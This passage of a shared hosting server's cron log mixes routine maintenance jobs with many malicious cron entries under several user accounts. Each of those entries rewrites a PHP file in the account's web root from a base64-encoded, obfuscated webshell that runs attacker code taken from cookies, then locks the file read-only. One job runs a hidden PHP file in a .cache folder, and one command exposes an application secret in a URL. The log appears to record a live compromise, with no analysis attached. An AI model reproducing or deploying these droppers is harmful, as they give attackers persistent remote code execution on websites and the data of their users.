CAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:43:01 medusa CROND[11294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 03:43:01 medusa CROND[11296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:43:01 medusa CROND[11295]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:43:01 medusa CROND[11297]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 03:43:01 medusa CROND[11304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:43:01 medusa CROND[11306]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:43:01 medusa CROND[11307]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 03:43:01 medusa CROND[11308]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:43:01 medusa CROND[11309]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:43:01 medusa CROND[11310]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:43:01 medusa CROND[11311]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:44:01 medusa CROND[740]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:44:01 medusa CROND[743]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:44:01 medusa CROND[742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:44:01 medusa CROND[741]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:44:01 medusa CROND[744]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:44:01 medusa CROND[745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:44:01 medusa CROND[746]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 03:44:01 medusa CROND[748]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:44:01 medusa CROND[750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:44:01 medusa CROND[754]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:44:01 medusa CROND[755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:44:01 medusa CROND[753]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:44:01 medusa CROND[756]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:45:01 medusa CROND[22260]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 03:45:01 medusa CROND[22339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 03:45:01 medusa CROND[22341]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 03:45:01 medusa CROND[22342]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22343]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 03:45:01 medusa CROND[22345]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 03:45:01 medusa CROND[22347]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:45:01 medusa CROND[22348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22350]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:45:01 medusa CROND[22351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:45:01 medusa CROND[22355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 03:45:01 medusa CROND[22358]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:45:01 medusa CROND[22361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22346]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 03:45:01 medusa CROND[22363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22366]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 